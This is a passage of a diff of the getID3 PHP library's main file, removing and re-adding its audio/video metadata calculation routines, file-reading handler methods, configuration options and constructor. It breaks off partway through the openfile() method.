$this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm); - - } else { - - // get hash from whole file - switch ($algorithm) { - case 'md5': - $this->info[$algorithm.'_data'] = md5_file($this->info['filenamepath']); - break; - - case 'sha1': - $this->info[$algorithm.'_data'] = sha1_file($this->info['filenamepath']); - break; - } - } - - } - return true; - } - - public function ChannelsBitratePlaytimeCalculations() { - - // set channelmode on audio - if (!empty($this->info['audio']['channelmode']) || !isset($this->info['audio']['channels'])) { - // ignore - } elseif ($this->info['audio']['channels'] == 1) { - $this->info['audio']['channelmode'] = 'mono'; - } elseif ($this->info['audio']['channels'] == 2) { - $this->info['audio']['channelmode'] = 'stereo'; - } - - // Calculate combined bitrate - audio + video - $CombinedBitrate = 0; - $CombinedBitrate += (isset($this->info['audio']['bitrate']) ? $this->info['audio']['bitrate'] : 0); - $CombinedBitrate += (isset($this->info['video']['bitrate']) ? $this->info['video']['bitrate'] : 0); - if (($CombinedBitrate > 0) && empty($this->info['bitrate'])) { - $this->info['bitrate'] = $CombinedBitrate; - } - //if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) { - // // for example, VBR MPEG video files cannot determine video bitrate: - // // should not set overall bitrate and playtime from audio bitrate only - // unset($this->info['bitrate']); - //} - - // video bitrate undetermined, but calculable - if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) { - // if video bitrate not set - if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) { - // AND if audio bitrate is set to same as overall bitrate - if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) { - // AND if playtime is set - if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) { - // AND if AV data offset start/end is known - // THEN we can calculate the video bitrate - $this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']); - $this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate']; - } - } - } - } - - if ((!isset($this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) { - $this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate']; - } - - if (!isset($this->info['bitrate']) && !empty($this->info['playtime_seconds'])) { - $this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']; - } - if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) { - if (isset($this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) { - // audio only - $this->info['audio']['bitrate'] = $this->info['bitrate']; - } elseif (isset($this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) { - // video only - $this->info['video']['bitrate'] = $this->info['bitrate']; - } - } - - // Set playtime string - if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) { - $this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']); - } - } - - /** - * @return bool - */ - public function CalculateCompressionRatioVideo() { - if (empty($this->info['video'])) { - return false; - } - if (empty($this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) { - return false; - } - if (empty($this->info['video']['bits_per_sample'])) { - return false; - } - - switch ($this->info['video']['dataformat']) { - case 'bmp': - case 'gif': - case 'jpeg': - case 'jpg': - case 'png': - case 'tiff': - $FrameRate = 1; - $PlaytimeSeconds = 1; - $BitrateCompressed = $this->info['filesize'] * 8; - break; - - default: - if (!empty($this->info['video']['frame_rate'])) { - $FrameRate = $this->info['video']['frame_rate']; - } else { - return false; - } - if (!empty($this->info['playtime_seconds'])) { - $PlaytimeSeconds = $this->info['playtime_seconds']; - } else { - return false; - } - if (!empty($this->info['video']['bitrate'])) { - $BitrateCompressed = $this->info['video']['bitrate']; - } else { - return false; - } - break; - } - $BitrateUncompressed = $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate; - - $this->info['video']['compression_ratio'] = $BitrateCompressed / $BitrateUncompressed; - return true; - } - - /** - * @return bool - */ - public function CalculateCompressionRatioAudio() { - if (empty($this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate']) || !is_numeric($this->info['audio']['sample_rate'])) { - return false; - } - $this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16)); - - if (!empty($this->info['audio']['streams'])) { - foreach ($this->info['audio']['streams'] as $streamnumber => $streamdata) { - if (!empty($streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) { - $this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16)); - } - } - } - return true; - } - - /** - * @return bool - */ - public function CalculateReplayGain() { - if (isset($this->info['replay_gain'])) { - if (!isset($this->info['replay_gain']['reference_volume'])) { - $this->info['replay_gain']['reference_volume'] = 89.0; - } - if (isset($this->info['replay_gain']['track']['adjustment'])) { - $this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment']; - } - if (isset($this->info['replay_gain']['album']['adjustment'])) { - $this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment']; - } - - if (isset($this->info['replay_gain']['track']['peak'])) { - $this->info['replay_gain']['track']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']); - } - if (isset($this->info['replay_gain']['album']['peak'])) { - $this->info['replay_gain']['album']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']); - } - } - return true; - } - - /** - * @return bool - */ - public function ProcessAudioStreams() { - if (!empty($this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) { - if (!isset($this->info['audio']['streams'])) { - foreach ($this->info['audio'] as $key => $value) { - if ($key != 'streams') { - $this->info['audio']['streams'][0][$key] = $value; - } - } - } - } - return true; - } - - /** - * @return string|bool - */ - public function getid3_tempnam() { - return tempnam($this->tempdir, 'gI3'); - } - - /** - * @param string $name - * - * @return bool - * - * @throws getid3_exception - */ - public function include_module($name) { - //if (!file_exists($this->include_path.'module.'.$name.'.php')) { - if (!file_exists(GETID3_INCLUDEPATH.'module.'.$name.'.php')) { - throw new getid3_exception('Required module.'.$name.'.php is missing.'); - } - include_once(GETID3_INCLUDEPATH.'module.'.$name.'.php'); - return true; - } - - /** - * @param string $filename - * - * @return bool - */ - public static function is_writable ($filename) { - $ret = is_writable($filename); - if (!$ret) { - $perms = fileperms($filename); - $ret = ($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002); - } - return $ret; - } - -} - - -abstract class getid3_handler -{ - - /** - * @var getID3 - */ - protected $getid3; // pointer - - /** - * Analyzing filepointer or string. - * - * @var bool - */ - protected $data_string_flag = false; - - /** - * String to analyze. - * - * @var string - */ - protected $data_string = ''; - - /** - * Seek position in string. - * - * @var int - */ - protected $data_string_position = 0; - - /** - * String length. - * - * @var int - */ - protected $data_string_length = 0; - - /** - * @var string - */ - private $dependency_to; - - /** - * getid3_handler constructor. - * - * @param getID3 $getid3 - * @param string $call_module - */ - public function __construct(getID3 $getid3, $call_module=null) { - $this->getid3 = $getid3; - - if ($call_module) { - $this->dependency_to = str_replace('getid3_', '', $call_module); - } - } - - /** - * Analyze from file pointer. - * - * @return bool - */ - abstract public function Analyze(); - - /** - * Analyze from string instead. - * - * @param string $string - */ - public function AnalyzeString($string) { - // Enter string mode - $this->setStringMode($string); - - // Save info - $saved_avdataoffset = $this->getid3->info['avdataoffset']; - $saved_avdataend = $this->getid3->info['avdataend']; - $saved_filesize = (isset($this->getid3->info['filesize']) ? $this->getid3->info['filesize'] : null); // may be not set if called as dependency without openfile() call - - // Reset some info - $this->getid3->info['avdataoffset'] = 0; - $this->getid3->info['avdataend'] = $this->getid3->info['filesize'] = $this->data_string_length; - - // Analyze - $this->Analyze(); - - // Restore some info - $this->getid3->info['avdataoffset'] = $saved_avdataoffset; - $this->getid3->info['avdataend'] = $saved_avdataend; - $this->getid3->info['filesize'] = $saved_filesize; - - // Exit string mode - $this->data_string_flag = false; - } - - /** - * @param string $string - */ - public function setStringMode($string) { - $this->data_string_flag = true; - $this->data_string = $string; - $this->data_string_length = strlen($string); - } - - /** - * @return int|bool - */ - protected function ftell() { - if ($this->data_string_flag) { - return $this->data_string_position; - } - return ftell($this->getid3->fp); - } - - /** - * @param int $bytes - * - * @return string|false - * - * @throws getid3_exception - */ - protected function fread($bytes) { - if ($this->data_string_flag) { - $this->data_string_position += $bytes; - return substr($this->data_string, $this->data_string_position - $bytes, $bytes); - } - $pos = $this->ftell() + $bytes; - if (!getid3_lib::intValueSupported($pos)) { - throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') because beyond PHP filesystem limit', 10); - } - - //return fread($this->getid3->fp, $bytes); - /* - * https://www.getid3.org/phpBB3/viewtopic.php?t=1930 - * "I found out that the root cause for the problem was how getID3 uses the PHP system function fread(). - * It seems to assume that fread() would always return as many bytes as were requested. - * However, according the PHP manual (http://php.net/manual/en/function.fread.php), this is the case only with regular local files, but not e.g. with Linux pipes. - * The call may return only part of the requested data and a new call is needed to get more." - */ - $contents = ''; - do { - //if (($this->getid3->memory_limit > 0) && ($bytes > $this->getid3->memory_limit)) { - if (($this->getid3->memory_limit > 0) && (($bytes / $this->getid3->memory_limit) > 0.99)) { // enable a more-fuzzy match to prevent close misses generating errors like "PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 33554464 bytes)" - throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') that is more than available PHP memory ('.$this->getid3->memory_limit.')', 10); - } - $part = fread($this->getid3->fp, $bytes); - $partLength = strlen($part); - $bytes -= $partLength; - $contents .= $part; - } while (($bytes > 0) && ($partLength > 0)); - return $contents; - } - - /** - * @param int $bytes - * @param int $whence - * - * @return int - * - * @throws getid3_exception - */ - protected function fseek($bytes, $whence=SEEK_SET) { - if ($this->data_string_flag) { - switch ($whence) { - case SEEK_SET: - $this->data_string_position = $bytes; - break; - - case SEEK_CUR: - $this->data_string_position += $bytes; - break; - - case SEEK_END: - $this->data_string_position = $this->data_string_length + $bytes; - break; - } - return 0; // fseek returns 0 on success - } - - $pos = $bytes; - if ($whence == SEEK_CUR) { - $pos = $this->ftell() + $bytes; - } elseif ($whence == SEEK_END) { - $pos = $this->getid3->info['filesize'] + $bytes; - } - if (!getid3_lib::intValueSupported($pos)) { - throw new getid3_exception('cannot fseek('.$pos.') because beyond PHP filesystem limit', 10); - } - - // https://github.com/JamesHeinrich/getID3/issues/327 - $result = fseek($this->getid3->fp, $bytes, $whence); - if ($result !== 0) { // fseek returns 0 on success - throw new getid3_exception('cannot fseek('.$pos.'). resource/stream does not appear to support seeking', 10); - } - return $result; - } - - /** - * @return string|false - * - * @throws getid3_exception - */ - protected function fgets() { - // must be able to handle CR/LF/CRLF but not read more than one lineend - $buffer = ''; // final string we will return - $prevchar = ''; // save previously-read character for end-of-line checking - if ($this->data_string_flag) { - while (true) { - $thischar = substr($this->data_string, $this->data_string_position++, 1); - if (($prevchar == "\r") && ($thischar != "\n")) { - // read one byte too many, back up - $this->data_string_position--; - break; - } - $buffer .= $thischar; - if ($thischar == "\n") { - break; - } - if ($this->data_string_position >= $this->data_string_length) { - // EOF - break; - } - $prevchar = $thischar; - } - - } else { - - // Ideally we would just use PHP's fgets() function, however... - // it does not behave consistently with regards to mixed line endings, may be system-dependent - // and breaks entirely when given a file with mixed \r vs \n vs \r\n line endings (e.g. some PDFs) - //return fgets($this->getid3->fp); - while (true) { - $thischar = fgetc($this->getid3->fp); - if (($prevchar == "\r") && ($thischar != "\n")) { - // read one byte too many, back up - fseek($this->getid3->fp, -1, SEEK_CUR); - break; - } - $buffer .= $thischar; - if ($thischar == "\n") { - break; - } - if (feof($this->getid3->fp)) { - break; - } - $prevchar = $thischar; - } - - } - return $buffer; - } - - /** - * @return bool - */ - protected function feof() { - if ($this->data_string_flag) { - return $this->data_string_position >= $this->data_string_length; - } - return feof($this->getid3->fp); - } - - /** - * @param string $module - * - * @return bool - */ - final protected function isDependencyFor($module) { - return $this->dependency_to == $module; - } - - /** - * @param string $text - * - * @return bool - */ - protected function error($text) { - $this->getid3->info['error'][] = $text; - - return false; - } - - /** - * @param string $text - * - * @return bool - */ - protected function warning($text) { - return $this->getid3->warning($text); - } - - /** - * @param string $text - */ - protected function notice($text) { - // does nothing for now - } - - /** - * @param string $name - * @param int $offset - * @param int $length - * @param string $image_mime - * - * @return string|null - * - * @throws Exception - * @throws getid3_exception - */ - public function saveAttachment($name, $offset, $length, $image_mime=null) { - $fp_dest = null; - $dest = null; - try { - - // do not extract at all - if ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_NONE) { - - $attachment = null; // do not set any - - // extract to return array - } elseif ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_INLINE) { - - $this->fseek($offset); - $attachment = $this->fread($length); // get whole data in one pass, till it is anyway stored in memory - if ($attachment === false || strlen($attachment) != $length) { - throw new Exception('failed to read attachment data'); - } - - // assume directory path is given - } else { - - // set up destination path - $dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR); - if (!is_dir($dir) || !getID3::is_writable($dir)) { // check supplied directory - throw new Exception('supplied path ('.$dir.') does not exist, or is not writable'); - } - $dest = $dir.DIRECTORY_SEPARATOR.$name.($image_mime ? '.'.getid3_lib::ImageExtFromMime($image_mime) : ''); - - // create dest file - if (($fp_dest = fopen($dest, 'wb')) == false) { - throw new Exception('failed to create file '.$dest); - } - - // copy data - $this->fseek($offset); - $buffersize = ($this->data_string_flag ? $length : $this->getid3->fread_buffer_size()); - $bytesleft = $length; - while ($bytesleft > 0) { - if (($buffer = $this->fread(min($buffersize, $bytesleft))) === false || ($byteswritten = fwrite($fp_dest, $buffer)) === false || ($byteswritten === 0)) { - throw new Exception($buffer === false ? 'not enough data to read' : 'failed to write to destination file, may be not enough disk space'); - } - $bytesleft -= $byteswritten; - } - - fclose($fp_dest); - $attachment = $dest; - - } - - } catch (Exception $e) { - - // close and remove dest file if created - if (isset($fp_dest) && is_resource($fp_dest)) { - fclose($fp_dest); - } - - if (isset($dest) && file_exists($dest)) { - unlink($dest); - } - - // do not set any is case of error - $attachment = null; - $this->warning('Failed to extract attachment '.$name.': '.$e->getMessage()); - - } - - // seek to the end of attachment - $this->fseek($offset + $length); - - return $attachment; - } - -} - - -class getid3_exception extends Exception -{ - public $message; -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// // +// Please see readme.txt for more information // +// /// +///////////////////////////////////////////////////////////////// + +// define a constant rather than looking up every time it is needed +if (!defined('GETID3_OS_ISWINDOWS')) { + define('GETID3_OS_ISWINDOWS', (stripos(PHP_OS, 'WIN') === 0)); +} +// Get base path of getID3() - ONCE +if (!defined('GETID3_INCLUDEPATH')) { + define('GETID3_INCLUDEPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); +} +if (!defined('ENT_SUBSTITUTE')) { // PHP5.3 adds ENT_IGNORE, PHP5.4 adds ENT_SUBSTITUTE + define('ENT_SUBSTITUTE', (defined('ENT_IGNORE') ? ENT_IGNORE : 8)); +} + +/* +https://www.getid3.org/phpBB3/viewtopic.php?t=2114 +If you are running into a the problem where filenames with special characters are being handled +incorrectly by external helper programs (e.g. metaflac), notably with the special characters removed, +and you are passing in the filename in UTF8 (typically via a HTML form), try uncommenting this line: +*/ +//setlocale(LC_CTYPE, 'en_US.UTF-8'); + +// attempt to define temp dir as something flexible but reliable +$temp_dir = ini_get('upload_tmp_dir'); +if ($temp_dir && (!is_dir($temp_dir) || !is_readable($temp_dir))) { + $temp_dir = ''; +} +if (!$temp_dir && function_exists('sys_get_temp_dir')) { // sys_get_temp_dir added in PHP v5.2.1 + // sys_get_temp_dir() may give inaccessible temp dir, e.g. with open_basedir on virtual hosts + $temp_dir = sys_get_temp_dir(); +} +$temp_dir = @realpath($temp_dir); // see https://github.com/JamesHeinrich/getID3/pull/10 +$open_basedir = ini_get('open_basedir'); +if ($open_basedir) { + // e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/" + $temp_dir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $temp_dir); + $open_basedir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $open_basedir); + if (substr($temp_dir, -1, 1) != DIRECTORY_SEPARATOR) { + $temp_dir .= DIRECTORY_SEPARATOR; + } + $found_valid_tempdir = false; + $open_basedirs = explode(PATH_SEPARATOR, $open_basedir); + foreach ($open_basedirs as $basedir) { + if (substr($basedir, -1, 1) != DIRECTORY_SEPARATOR) { + $basedir .= DIRECTORY_SEPARATOR; + } + if (strpos($temp_dir, $basedir) === 0) { + $found_valid_tempdir = true; + break; + } + } + if (!$found_valid_tempdir) { + $temp_dir = ''; + } + unset($open_basedirs, $found_valid_tempdir, $basedir); +} +if (!$temp_dir) { + $temp_dir = '*'; // invalid directory name should force tempnam() to use system default temp dir +} +// $temp_dir = '/something/else/'; // feel free to override temp dir here if it works better for your system +if (!defined('GETID3_TEMP_DIR')) { + define('GETID3_TEMP_DIR', $temp_dir); +} +unset($open_basedir, $temp_dir); + +// End: Defines + + +class getID3 +{ + /* + * Settings + */ + + /** + * CASE SENSITIVE! - i.e. (must be supported by iconv()). Examples: ISO-8859-1 UTF-8 UTF-16 UTF-16BE + * + * @var string + */ + public $encoding = 'UTF-8'; + + /** + * Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252' + * + * @var string + */ + public $encoding_id3v1 = 'ISO-8859-1'; + + /** + * ID3v1 should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'Windows-1251' or 'KOI8-R'. If true attempt to detect these encodings, but may return incorrect values for some tags actually in ISO-8859-1 encoding + * + * @var bool + */ + public $encoding_id3v1_autodetect = false; + + /* + * Optional tag checks - disable for speed. + */ + + /** + * Read and process ID3v1 tags + * + * @var bool + */ + public $option_tag_id3v1 = true; + + /** + * Read and process ID3v2 tags + * + * @var bool + */ + public $option_tag_id3v2 = true; + + /** + * Read and process Lyrics3 tags + * + * @var bool + */ + public $option_tag_lyrics3 = true; + + /** + * Read and process APE tags + * + * @var bool + */ + public $option_tag_apetag = true; + + /** + * Copy tags to root key 'tags' and encode to $this->encoding + * + * @var bool + */ + public $option_tags_process = true; + + /** + * Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities + * + * @var bool + */ + public $option_tags_html = true; + + /* + * Optional tag/comment calculations + */ + + /** + * Calculate additional info such as bitrate, channelmode etc + * + * @var bool + */ + public $option_extra_info = true; + + /* + * Optional handling of embedded attachments (e.g. images) + */ + + /** + * Defaults to true (ATTACHMENTS_INLINE) for backward compatibility + * + * @var bool|string + */ + public $option_save_attachments = true; + + /* + * Optional calculations + */ + + /** + * Get MD5 sum of data part - slow + * + * @var bool + */ + public $option_md5_data = false; + + /** + * Use MD5 of source file if availble - only FLAC and OptimFROG + * + * @var bool + */ + public $option_md5_data_source = false; + + /** + * Get SHA1 sum of data part - slow + * + * @var bool + */ + public $option_sha1_data = false; + + /** + * Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on + * PHP_INT_MAX) + * + * @var bool|null + */ + public $option_max_2gb_check; + + /** + * Read buffer size in bytes + * + * @var int + */ + public $option_fread_buffer_size = 32768; + + + + // module-specific options + + /** archive.rar + * if true use PHP RarArchive extension, if false (non-extension parsing not yet written in getID3) + * + * @var bool + */ + public $options_archive_rar_use_php_rar_extension = true; + + /** archive.gzip + * Optional file list - disable for speed. + * Decode gzipped files, if possible, and parse recursively (.tar.gz for example). + * + * @var bool + */ + public $options_archive_gzip_parse_contents = false; + + /** audio.midi + * if false only parse most basic information, much faster for some files but may be inaccurate + * + * @var bool + */ + public $options_audio_midi_scanwholefile = true; + + /** audio.mp3 + * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow, + * unrecommended, but may provide data from otherwise-unusable files. + * + * @var bool + */ + public $options_audio_mp3_allow_bruteforce = false; + + /** audio.mp3 + * number of frames to scan to determine if MPEG-audio sequence is valid + * Lower this number to 5-20 for faster scanning + * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams + * + * @var int + */ + public $options_audio_mp3_mp3_valid_check_frames = 50; + + /** audio.wavpack + * Avoid scanning all frames (break after finding ID_RIFF_HEADER and ID_CONFIG_BLOCK, + * significantly faster for very large files but other data may be missed + * + * @var bool + */ + public $options_audio_wavpack_quick_parsing = false; + + /** audio-video.flv + * Break out of the loop if too many frames have been scanned; only scan this + * many if meta frame does not contain useful duration. + * + * @var int + */ + public $options_audiovideo_flv_max_frames = 100000; + + /** audio-video.matroska + * If true, do not return information about CLUSTER chunks, since there's a lot of them + * and they're not usually useful [default: TRUE]. + * + * @var bool + */ + public $options_audiovideo_matroska_hide_clusters = true; + + /** audio-video.matroska + * True to parse the whole file, not only header [default: FALSE]. + * + * @var bool + */ + public $options_audiovideo_matroska_parse_whole_file = false; + + /** audio-video.quicktime + * return all parsed data from all atoms if true, otherwise just returned parsed metadata + * + * @var bool + */ + public $options_audiovideo_quicktime_ReturnAtomData = false; + + /** audio-video.quicktime + * return all parsed data from all atoms if true, otherwise just returned parsed metadata + * + * @var bool + */ + public $options_audiovideo_quicktime_ParseAllPossibleAtoms = false; + + /** audio-video.swf + * return all parsed tags if true, otherwise do not return tags not parsed by getID3 + * + * @var bool + */ + public $options_audiovideo_swf_ReturnAllTagData = false; + + /** graphic.bmp + * return BMP palette + * + * @var bool + */ + public $options_graphic_bmp_ExtractPalette = false; + + /** graphic.bmp + * return image data + * + * @var bool + */ + public $options_graphic_bmp_ExtractData = false; + + /** graphic.png + * If data chunk is larger than this do not read it completely (getID3 only needs the first + * few dozen bytes for parsing). + * + * @var int + */ + public $options_graphic_png_max_data_bytes = 10000000; + + /** misc.pdf + * return full details of PDF Cross-Reference Table (XREF) + * + * @var bool + */ + public $options_misc_pdf_returnXREF = false; + + /** misc.torrent + * Assume all .torrent files are less than 1MB and just read entire thing into memory for easy processing. + * Override this value if you need to process files larger than 1MB + * + * @var int + */ + public $options_misc_torrent_max_torrent_filesize = 1048576; + + + + // Public variables + + /** + * Filename of file being analysed. + * + * @var string + */ + public $filename; + + /** + * Filepointer to file being analysed. + * + * @var resource + */ + public $fp; + + /** + * Result array. + * + * @var array + */ + public $info; + + /** + * @var string + */ + public $tempdir = GETID3_TEMP_DIR; + + /** + * @var int + */ + public $memory_limit = 0; + + /** + * @var string + */ + protected $startup_error = ''; + + /** + * @var string + */ + protected $startup_warning = ''; + + const VERSION = '1.9.21-202109171300'; + const FREAD_BUFFER_SIZE = 32768; + + const ATTACHMENTS_NONE = false; + const ATTACHMENTS_INLINE = true; + + public function __construct() { + + // Check for PHP version + $required_php_version = '5.3.0'; + if (version_compare(PHP_VERSION, $required_php_version, '<')) { + $this->startup_error .= 'getID3() requires PHP v'.$required_php_version.' or higher - you are running v'.PHP_VERSION."\n"; + return; + } + + // Check memory + $memoryLimit = ini_get('memory_limit'); + if (preg_match('#([0-9]+) ?M#i', $memoryLimit, $matches)) { + // could be stored as "16M" rather than 16777216 for example + $memoryLimit = $matches[1] * 1048576; + } elseif (preg_match('#([0-9]+) ?G#i', $memoryLimit, $matches)) { // The 'G' modifier is available since PHP 5.1.0 + // could be stored as "2G" rather than 2147483648 for example + $memoryLimit = $matches[1] * 1073741824; + } + $this->memory_limit = $memoryLimit; + + if ($this->memory_limit <= 0) { + // memory limits probably disabled + } elseif ($this->memory_limit <= 4194304) { + $this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini'."\n"; + } elseif ($this->memory_limit <= 12582912) { + $this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini'."\n"; + } + + // Check safe_mode off + if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { + $this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.'); + } + + if (($mbstring_func_overload = (int) ini_get('mbstring.func_overload')) && ($mbstring_func_overload & 0x02)) { + // http://php.net/manual/en/mbstring.overload.php + // "mbstring.func_overload in php.ini is a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions" + // getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those. + $this->startup_error .= 'WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", getID3 cannot run with this setting (bitmask 2 (string functions) cannot be set). Recommended to disable entirely.'."\n"; + } + + // check for magic quotes in PHP < 7.4.0 (when these functions became deprecated) + if (version_compare(PHP_VERSION, '7.4.0', '<')) { + // Check for magic_quotes_runtime + if (function_exists('get_magic_quotes_runtime')) { + if (get_magic_quotes_runtime()) { + $this->startup_error .= 'magic_quotes_runtime must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_runtime(0) and set_magic_quotes_runtime(1).'."\n"; + } + } + // Check for magic_quotes_gpc + if (function_exists('get_magic_quotes_gpc')) { + if (get_magic_quotes_gpc()) { + $this->startup_error .= 'magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).'."\n"; + } + } + } + + // Load support library + if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) { + $this->startup_error .= 'getid3.lib.php is missing or corrupt'."\n"; + } + + if ($this->option_max_2gb_check === null) { + $this->option_max_2gb_check = (PHP_INT_MAX <= 2147483647); + } + + + // Needed for Windows only: + // Define locations of helper applications for Shorten, VorbisComment, MetaFLAC + // as well as other helper functions such as head, etc + // This path cannot contain spaces, but the below code will attempt to get the + // 8.3-equivalent path automatically + // IMPORTANT: This path must include the trailing slash + if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) { + + $helperappsdir = GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'; // must not have any space in this path + + if (!is_dir($helperappsdir)) { + $this->startup_warning .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist'."\n"; + } elseif (strpos(realpath($helperappsdir), ' ') !== false) { + $DirPieces = explode(DIRECTORY_SEPARATOR, realpath($helperappsdir)); + $path_so_far = array(); + foreach ($DirPieces as $key => $value) { + if (strpos($value, ' ') !== false) { + if (!empty($path_so_far)) { + $commandline = 'dir /x '.escapeshellarg(implode(DIRECTORY_SEPARATOR, $path_so_far)); + $dir_listing = `$commandline`; + $lines = explode("\n", $dir_listing); + foreach ($lines as $line) { + $line = trim($line); + if (preg_match('#^([0-9/]{10}) +([0-9:]{4,5}( [AP]M)?) +(|[0-9,]+) +([^ ]{0,11}) +(.+)$#', $line, $matches)) { + list($dummy, $date, $time, $ampm, $filesize, $shortname, $filename) = $matches; + if ((strtoupper($filesize) == '') && (strtolower($filename) == strtolower($value))) { + $value = $shortname; + } + } + } + } else { + $this->startup_warning .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary. You can run "dir /x" from the commandline to see the correct 8.3-style names.'."\n"; + } + } + $path_so_far[] = $value; + } + $helperappsdir = implode(DIRECTORY_SEPARATOR, $path_so_far); + } + define('GETID3_HELPERAPPSDIR', $helperappsdir.DIRECTORY_SEPARATOR); + } + + if (!empty($this->startup_error)) { + echo $this->startup_error; + throw new getid3_exception($this->startup_error); + } + } + + /** + * @return string + */ + public function version() { + return self::VERSION; + } + + /** + * @return int + */ + public function fread_buffer_size() { + return $this->option_fread_buffer_size; + } + + /** + * @param array $optArray + * + * @return bool + */ + public function setOption($optArray) { + if (!is_array($optArray) || empty($optArray)) { + return false; + } + foreach ($optArray as $opt => $val) { + if (isset($this->$opt) === false) { + continue; + } + $this->$opt = $val; + } + return true; + } + + /** + * @param string $filename + * @param int $filesize + * @param resource $fp + * + * @return bool + * + * @throws getid3_exception + */ + public function openfile($filename, $filesize=null, $fp=null) { + try { + if (!empty($this->startup_error)) { + throw new getid3_exception($this->startup_error); + } + if (!empty($this->startup_warning)) { + foreach (explode("\n", $this->startup_warning) as $startup_warning) { + $this->warning($startup_warning); + } + } + + // init result array and set parameters + $this->filename = $filename; + $this->info = array(); + $this->info['GETID3_VERSION'] = $this->version(); + $this->info['php_memory_limit'] = (($this->memory_limit > 0) ? $this->memory_limit : false); + + // remote files not supported + if (preg_match('#^(ht|f)tp://#', $filename)) { + throw new getid3_exception('Remote files are not supported - please copy the file locally first'); + } + + $filename = str_replace('/', DIRECTORY_SEPARATOR, $filename); + //$filename = preg_replace('#(?fp = fopen($filename, 'rb'))) { // see https://www.getid3.org/phpBB3/viewtopic.php?t=1720 + if (($fp != null) && ((get_resource_type($fp) == 'file') || (get_resource_type($fp) == 'stream'))) { + $this->fp = $fp; + } elseif ((is_readable($filename) || file_exists($filename)) && is_file($filename) && 